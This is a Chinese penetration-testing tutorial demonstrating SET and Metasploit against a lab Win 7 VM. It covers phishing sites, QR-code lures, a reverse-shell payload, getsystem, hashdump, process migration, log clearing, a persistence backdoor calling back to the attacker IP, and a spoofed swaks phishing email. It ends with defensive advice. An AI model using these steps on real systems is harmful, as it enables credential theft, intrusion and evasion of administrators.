Kali Linux SET 社会工程学攻击
严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
社会工程攻击
社会工程攻击是一种利用「社会工程学」的网络攻击行为,攻击者会借助心理操纵、欺骗等手段,诱导用户泄露敏感信息或执行不利于自身的操作。常见的社会工程攻击方式包括:
- 钓鱼网站:通过伪装成合法网站,引诱用户输入账号密码。
- 恶意邮件:包含诱导用户下载的恶意附件或链接。
- 二维码诈骗:生成诱导用户扫描的恶意二维码。
- 受感染的便携介质:利用受感染的 USB 设备传播恶意软件。
这些方法都是通过心理诱导,借助人们的信任、好奇心和贪婪心理,成功获取敏感数据。攻击者往往通过多种手段,结合不同策略实施社会工程攻击。
社会工程工具包(SET)
social-engineer-toolkit
trustedsec • Updated May 7, 2024
简介
社会工程工具包 (
Social Engineering Toolkit
或 SET
) 是集成在 Kali Linux 中的开源工具,用于模拟真实的社会工程攻击。它被广泛应用于网络安全演练和渗透测试,具有强大的钓鱼攻击、恶意邮件、网站克隆和二维码攻击等功能。常见功能模块
- 电子邮件钓鱼:通过伪造的电子邮件发送恶意链接或附件。
- 网站攻击:创建伪造的登录页面,获取用户凭证。
- 二维码诈骗:生成诱导用户扫描的恶意二维码。
- 受感染的介质:通过 USB 或其他便携设备传播恶意程序。
使用 SET 进行社会工程攻击可以全面了解此类攻击的方式和危害,为实际环境下的防御提供有针对性的策略。
环境说明
主机 | IP地址 |
Kali Linux 攻击机 | 192.168.128.134 |
Win 7 虚拟机靶机 | 192.168.128.136 |
Windows 10 物理机 | 192.168.128.2 |
本文目的
本文将演示如何借助 SET+MSF 渗透工具对局域网内的 Win 7 虚拟机靶机进行 网络钓鱼(欺骗用户的账号密码)、生成木马、获得主机Shell、权限提升、远程桌面监控、账户Hash值获取、日志清除、后门植入、钓鱼邮件等一套较为完整的渗透测试流程。
使用 SET 构建钓鱼网站
利用 SET 工具可以方便地建立一个伪造的钓鱼网站,诱导用户在伪造页面上输入账号和密码。
【注意】下面所述的钓鱼网站攻击方法将不适用于动态验证机制的网页。网站登录机制分为动态和静态验证两种,比如说有些网站的登录使用了图形验证码、短信验证码、二维码登录、图形滑块验证等,这些就是动态验证。而比如一些企业内部后台、部分低级网站、各种学校管理平台、校园网登录平台等基本都是只要账号密码对就能上去,不用其他验证的网站就是静态验证。
使用默认模板的构建过程
- 选择钓鱼模块
在 Kali Linux 终端中运行
setoolkit
,选择 1. Social-Engineering Attacks
进入社工攻击模块。- 选择网站攻击
接着选择
2. Website Attack Vectors
。- 选择凭证收集攻击
接着选择
3. Credential Harvester Attack Method
来收集用户凭证。- 选择模板
在此模块下选择
1. Web Templates
,使用内置的 Web 模板(如谷歌登录页面)。- 配置钓鱼站点
接下来,您需要设置用于钓鱼的IP地址。默认情况下,我们将使用Kali本机的IP地址,并且将默认设置为使用80端口。为了避免端口冲突,请在设置之前执行命令
systemctl stop apache2
,以关闭Apache服务。接下来,您需要选择钓鱼的网站。在这里,我们选择谷歌登录作为例子。- 收集用户凭证
运行上述配置后,SET 会启动一个监听服务并生成钓鱼网站。用户在该页面上输入的任何信息都会被记录下来。
最后,在物理机上使用 Windows 10 访问 Kali 的 IP 地址,即可打开伪造的谷歌登录页面。在页面上输入账号和密码后,你将会被重定向到真实的谷歌官网。
- 截获用户凭证
此时返回Kali,可以看到已成功收集到刚才输入的账号和密码,攻击成功:
使用站点克隆进行钓鱼攻击
除了使用 SET 自带的三个登录站点 Web 模板外,站点克隆功能还允许攻击者伪造任意合法网站,获取用户的登录凭证。
- 进入站点克隆模块
按照前述步骤3进入
3. Credential Harvester Attack Method
,然后选择 2. Site Cloner
。- 设定监听地址和目标 URL
接下来,将监听的地址设为本机IP(直接按下Enter键即可),然后将克隆的网站地址设置为任意登录页面,这样就可以成功克隆并进入监听状态:
- 钓鱼页面访问
在受害者设备上访问攻击机的 IP 地址,呈现出与目标网站相似的伪造页面,诱导用户输入账号和密码,效果如下:
- 获取凭证
SET 监听器将实时收集用户输入的凭证,并在 Kali 攻击机上显示出来。攻击成功后,可以根据收集的数据进一步进行权限提升、网络横向移动等行动。
使用二维码进行社会工程攻击
二维码攻击是一种相对新颖的社会工程攻击手段,通过生成恶意的二维码引导用户访问伪造网站。
在SET工具包中,使用
QR Code Attack
模块可以进行二维码攻击,这样被欺骗的用户就会扫描你的二维码并进入一个伪装成钓鱼网站的页面。有些人可能会认为这个软件没有什么用处,但是在正常情况下,如果给你一个二维码和一个未知的网址,你会更倾向于相信哪一个呢?答案当然是二维码。- 选择二维码攻击模块
在 SET 菜单中,选择
1. Social-Engineering Attacks
,然后选择 8. QRCode Generator Attack
。- 配置钓鱼网站
输入想要让用户访问的目标 URL,可以是自定义的恶意网站或伪造登录页面,即可生成二维码,并保存为图像文件。
- 传播二维码
将二维码传播给受害者(如通过电子邮件、社交媒体、广告或直接打印)并诱导其扫描。
- 收集信息
受害者扫描二维码后会被重定向至目标钓鱼网站,在页面上输入的任何信息都会被攻击者获取。
以上的攻击演示告诉我们几点:
- 不要轻易打开一个安全性未知的网站链接或者去扫描二维码,并且盲目地输入自己的账号密码等敏感信息,因为你看到的网站可能是伪造的(攻击者可以使用公网IP和域名来伪装真实性);
- 同时请务必留意,不要轻易连接安全性未知的WIFI,因为一旦你连接到攻击者设置的WIFI,攻击者可以利用局域网内部的DNS欺骗攻击,使得你访问像
www.baidu.com
这样的域名时会被重定向到他指定的钓鱼网站!
生成远程木马并进行控制
SET 同时集成了木马生成工具,可以生成木马并利用MSF框架对远程主机进行控制。
- 运行 SET 并选择模块
在 SET 中选择
1. Social-Engineering Attacks
,然后选择 4. Create a Payload and Listener
。- 选择攻击载荷
设置恶意软件的攻击载荷类型,比如
Windows Reverse_TCP Meterpreter
。- 设置监听地址并生成木马
输入攻击机的 IP 地址(kali攻击机的IP地址)及监听端口,确保攻击者能够接收目标主机的返回信息。设置完参数后,SET 会生成一个木马文件
payload.exe
,通常为 .exe
格式(默认生成的木马文件在 /root/.set/
目录下)。将该文件传给目标主机(通过社交工程、恶意邮件或 U 盘传播)。- 开启监听器
运行 SET 中的
Multi-Handler
或其他监听器,等待目标主机执行木马文件并建立连接。- 将木马程序传给 Win 7 虚拟机
通过 Python http.server 模块将 payload.exe 传输到 Windows 7 虚拟机,然后在Windows 7虚拟机双击运行木马程序payload.exe:
- 获取控制权
一旦木马文件在目标主机上被执行,攻击者将通过监听器获得对目标主机的控制权,并能执行包括屏幕截图、文件下载、权限提升等多种操作。
此时 Kali 攻击机启动了MSF框架并成功获得攻击会话:
- 激活 Meterpreter 会话
获得 Shell 后即可操控 Windows 7 靶机,如下图所示:
- 执行 Meterpreter 支持的攻击命令
可输入
help
命令查看 Meterpreter 支持的所有攻击命令和描述,执行 screenshot
命令进行屏幕截图,如下图所示:- 提升权限
执行命令
getsystem
进行提权攻击,以获取最高权限的 system
系统权限:- 获取系统所有账户的密码的Hash值
执行命令
hashdump
,尝试获取系统所有账户的密码的hash值:- Meterpreter 提供的其他攻击脚本
- 执行远程桌面
使用 Meterpreter 提供的
run vnc
进行远程桌面连接- 进一步的攻击还可以执行
background
将当前会话转移到后台执行,达到后台进程切换的目的。同时可以执行migrate
命令迁移会话进程到指定的进程pid,达到隐藏控制会话的进程,此时原来的进程是看不到的目的(通过ps
命令可以看到受害机的哪些进程)。
提高攻击隐蔽性
在进行网络攻击或渗透测试时,攻击者或测试者经常需要对其控制的会话进行管理,以提高隐蔽性并避免被系统管理员发现。具体操作包括以下两个关键步骤:
会话后台化(Backgrounding a Session)
当攻击者在目标系统上成功执行一个会话后,他们可能需要执行其他任务或管理多个会话。此时,可以使用
background
命令将当前的 Meterpreter 会话移至后台运行。这样做不仅允许攻击者释放当前的命令行界面以执行其他操作,还保持会话活跃不被中断。后台化会话相当于最小化一个应用程序窗口,可以随时恢复和继续操作。会话迁移(Migrating a Session)
为了进一步隐藏攻击痕迹,攻击者会使用
migrate
命令将 Meterpreter 会话从一个进程迁移到另一个进程。这一操作的目的是选择一个更稳定、不易引起怀疑的系统进程,使得恶意活动更难被检测到。通过迁移会话,Meterpreter 的活动会在系统的任务管理器中隐匿,因为迁移到的新进程通常是系统或其他合法软件的正常进程,例如 explorer.exe 或 svchost.exe。例如,如果原始进程被关闭或崩溃,会话可能会丢失。迁移确保 Meterpreter 会话可以在更安全的环境中持续运行,降低被意外终止的风险。此外,使用
ps
命令列出系统进程时,原本托管 Meterpreter 的进程看起来不会有任何异常,因为恶意活动已转移到了新的宿主进程。实操示例
攻击者通过 Meterpreter 获得了对 Windows 服务器的控制。开始时,Meterpreter 会话托管在不太稳定的 Adobe Reader 进程中。通过执行
migrate
命令,会话被迁移到了更为稳定的 svchost.exe 进程。这个过程中,攻击者先使用 ps
查找到 svchost.exe 的进程 ID(PID),然后执行迁移。成功后,Meterpreter 的活动对于日常的系统监控变得隐蔽,降低了被发现的可能性。在进行 Meterpreter 会话管理时,具体的命令操作如下:
- 列出系统进程
首先,为了确定合适的目标进程进行迁移,需要查看当前系统上运行的所有进程。这可以通过 Meterpreter 的
ps
命令完成:这个命令将输出系统中所有活动的进程及其相关信息,如进程ID(PID)、进程名称、路径等。
- 迁移 Meterpreter 会话
选择一个稳定且不易引起怀疑的进程进行迁移,例如
svchost.exe
。首先,从 ps
命令的输出中找到 svchost.exe
的 PID,然后使用如下命令进行迁移:将
<PID>
替换为实际的进程ID。例如,如果 svchost.exe
的 PID 是 1234,则命令如下: migrate 1234
- 后台化 Meterpreter 会话
如果需要在执行其他任务时保持当前 Meterpreter 会话活跃,可以将其移至后台运行:
这个命令会将当前的 Meterpreter 会话保存在后台,使得攻击者可以在同一攻击机上开启新的会话或管理其他任务。
通过这些步骤,攻击者能有效管理 Meterpreter 会话,减少被系统管理员发现的风险,并确保持续的系统访问权限。这些操作对于进行复杂的渗透测试或维持长期的网络入侵活动非常关键。
清除系统日志
为了防止暴露攻击行为,攻击者通常会清除系统日志,避免被管理员发现。
- 打开 Windows 事件查看器
首先,在受害主机上打开 Windows 事件查看器,确认当前系统的日志记录状态。
- 使用 Meterpreter 清除日志
在攻击机上通过 Meterpreter 执行
clearev
命令,清除目标系统的应用、系统和安全日志。 - 检查日志状态
返回事件查看器,查看日志是否被清除。如果所有记录都消失了,则表示清除成功。
clearev
会一次性清除所有日志,容易引起管理员的注意。更谨慎的做法是部分删除或伪造记录。创建持久后门
当渗透测试者或攻击者成功获得目标系统的访问权限后,一个关键的步骤是确保即使在目标系统重启或网络连接中断后,也能再次建立连接。这通常通过在目标系统中安装一个后门程序来实现。
- 创建后门
U
表示在用户登录时启动。i
表示监听间隔(以秒为单位)。p
为监听端口。r
为攻击机的 IP 地址。
使用
run persistence -U -i 10 -p 4444 -r 192.168.128.134
命令创建一个持久后门。其中:Kali 将在目标系统中创建了一个持久脚本(保存在
C:\Users\thinkpad\AppData\Local\Temp\naBffRVEO.vbs
)并篡改注册表。- 验证靶机上后门相关的注册表和系统文件
- 关闭当前攻击会话
为了验证后门是否可利用,关闭当前攻击会话,重启 Win 7 虚拟机:
- 验证后门有效性
现在在 Kali 虚拟机上打开一个新的终端窗口,输入
msfconsole
命令来启动 MSF 框架。然后设置监听的 IP 地址和端口号。接下来,重新启动 Win 7 虚拟机,等待它重新启动后是否能够自动连接并建立攻击会话。
这样,后门就成功地植入了!以后只要 Win 7 系统启动,后门脚本就会自动运行,攻击者可以随时入侵!除非受害主机的管理员发现并删除了注册表中相应的键值和系统中植入的后门脚本。即使管理员删除了 Win 7 靶机中的远程控制木马文件
payload.exe
,也不会影响后门的功能。接下来,我们来验证一下。- 删除Win 7靶机桌面的木马文件后重启主机
- 此时 Kali 攻击机依然可以控制靶机,只不过功能受限,无法提权到最高权限了
- 在实验结束时,我们清除了Win 7靶机上的后门脚本和注册表注册项,这样Kali攻击机就无法再随意入侵Win 7虚拟机靶机了。具体操作如下图所示:
以上通过 SET + MSF 渗透工具演示了如何生成木马、获得主机Shell、主机提权、远程桌面控制、日志清除、后门植入等完整的一次渗透测试攻击。
应对措施:
- 定期扫描并删除系统中的未知注册表项和异常服务。
- 使用安全软件检测并清除持久化的恶意脚本和文件。
钓鱼邮件
当攻击者制作了钓鱼网站、木马程序后,他们会设法将其传给受害者,而常见的传播方式就是通过钓鱼邮件。安全意识较差的用户在收到钓鱼邮件后,如果点击邮件中的钓鱼链接或下载附件中的木马程序,就有可能遭受攻击!
工具简述
Swaks(Swiss Army Knife SMTP)是一款类似于「瑞士军刀」的工具,之所以这么说是因为它在 SMTP 邮件协议领域有非常非常广泛的应用,同时对于一名信息安全高级工程师来说也是一个不错的利用工具!它通常被用来伪造邮件,进行钓鱼、社工等操作。Kali 内置了 Swaks。
Swaks 基本用法:
swaks [参数]
参数说明:
攻击实例
- 准备收件邮箱
在进行攻击演示之前,先在临时邮箱网站申请一个用于接收钓鱼邮件的测试邮箱。
- 使用 Swaks 发送邮件
- 收件人为:
clearsky@4533.top
- 发件人为:
360hr@360.com
- 邮件头信息为:
Subject: Your Interview Confirmation
- 内容为:
Click here to provide employee information: https://phishing.com/test.php
,如下图所示:
构建伪造的钓鱼邮件,通过 Swaks 发送到目标邮箱。例如,伪造来自
360hr
的邮件并包含钓鱼链接:- 检查收件箱
此时可以在临时邮箱中收到来自 360hr 的邮件。
- 点击查看邮件详情
但需注意的是,一些邮箱服务如 QQ 和网易云邮箱会自动过滤恶意邮件。用户应始终检查邮件源,确保发件人可信任,以免成为攻击目标。
总结
- 当心来路不明的服务供应商等人的电子邮件、即时简讯以及电话。在提供任何个人信息之前验证其可靠性和权威性;
- 永远不要点击来自未知发送者的电子邮件中的嵌入链接,如果有必要就使用搜索引擎寻找目标网站或手动输入网站URL;
- 永远不要在未知发送者的电子邮件中下载附件,如果有必要可以在保护视图中打开附件,这个在许多操作系统中是默认启用的;
- 使用强大的防火墙来保护你的电脑空间,及时更新杀毒软件同时提高垃圾邮件过滤器的门槛;
- 下载软件及操作系统补丁,预防零日漏洞,及时跟随软件供应商发布的补丁同时尽可能快地安装补丁版本;
- 关注网站的URL,有时网上的骗子对URL做了细微的改动,将流量诱导进了自己的诈骗网站;
- 不要随意扫描二维码!你所扫描后到的网站可能是一个钓鱼网站;
- 不要轻易连接公共WIFI,进入攻击者设定的局域网环境,你的很多上网隐私将处于裸奔状态,同时容易遭受 ARP欺骗、DNS劫持、网络钓鱼等攻击!